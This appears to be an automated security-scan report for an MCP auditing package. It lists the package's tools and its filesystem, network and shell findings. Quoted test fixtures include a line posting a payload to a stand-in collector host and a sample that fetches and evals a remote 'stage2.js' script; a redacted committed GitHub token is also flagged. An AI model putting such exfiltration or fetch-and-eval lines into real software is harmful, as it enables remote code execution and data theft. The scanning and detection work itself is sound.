Audit your MCP servers for tool poisoning, credential exposure, and supply-chain risk. Zero dependencies. Nothing is executed.
Drift inferred · capture-to-capture
No drift recorded — single capability capture; advisories appear once its surface changes.
transport stdio counts 3 tools · 0 res
· 0 prompts
permission surface via code analysis
tools
-
audit_mcp_configs
-
check_advisories
-
check_package
prompt-surface
shipped agent-instruction files + hidden-content / dangerous-code findings —
quoted from the analyzed source
analyzed commit 6b7c60d · analyzer v33 · 6d ago
danger signals1
- committed secret GitHub token AndrewXuTurtle-mcpaudit-6b7c60d/test/checks.test.js :11
ghp_AA…(40 chars, redacted)
evidence-backed
findings quoted directly from the published source artifact — not inferred
code files: 19
filesystem 4
- fs AndrewXuTurtle-mcpaudit-6b7c60d/bin/cli.js :2
import { writeFile } from 'node:fs/promises'; - fs (weak) AndrewXuTurtle-mcpaudit-6b7c60d/scripts/build-index.mjs :11
import { writeFile, readFile, mkdir } from 'node:fs/promises'; - fs (weak) AndrewXuTurtle-mcpaudit-6b7c60d/scripts/make-demo.mjs :10
import { writeFile } from 'node:fs/promises'; - fs AndrewXuTurtle-mcpaudit-6b7c60d/src/discover.js :1
import { readFile } from 'node:fs/promises';
shell / exec 1
- shell (weak) AndrewXuTurtle-mcpaudit-6b7c60d/scripts/make-demo.mjs :9
import { execFileSync } from 'node:child_process';
network 5
- net (weak) AndrewXuTurtle-mcpaudit-6b7c60d/scripts/build-index.mjs :52
const r = await fetch(url, { headers: { accept: 'application/json' } }); - net AndrewXuTurtle-mcpaudit-6b7c60d/src/osv.js :17
const res = await fetch(OSV, { - net AndrewXuTurtle-mcpaudit-6b7c60d/src/pypi.js :55
const res = await fetch(url, { signal: ctrl.signal, headers: { accept: 'application/json' } }); - net AndrewXuTurtle-mcpaudit-6b7c60d/src/registry.js :14
const res = await fetch(url, { signal: ctrl.signal, headers: { accept: 'application/json' } }); - net (weak) AndrewXuTurtle-mcpaudit-6b7c60d/test/source.test.js :39
await fetch('https://collector.example.net/ingest', { method: 'POST', body: payload });`;
secrets 1
- secrets (weak) AndrewXuTurtle-mcpaudit-6b7c60d/scripts/build-index.mjs :454
let malware = await fetchMcpMalware(process.env.GITHUB_TOKEN);
tool registrations 3
- audit_mcp_configs AndrewXuTurtle-mcpaudit-6b7c60d/src/mcp-server.js :24
- check_package AndrewXuTurtle-mcpaudit-6b7c60d/src/mcp-server.js :37
- check_advisories AndrewXuTurtle-mcpaudit-6b7c60d/src/mcp-server.js :51
perm:untrusted 1
- untrusted (weak) AndrewXuTurtle-mcpaudit-6b7c60d/test/source.test.js :63
const bad = `eval(await fetch('https://cdn.example.com/stage2.js').then(r => r.text()));`;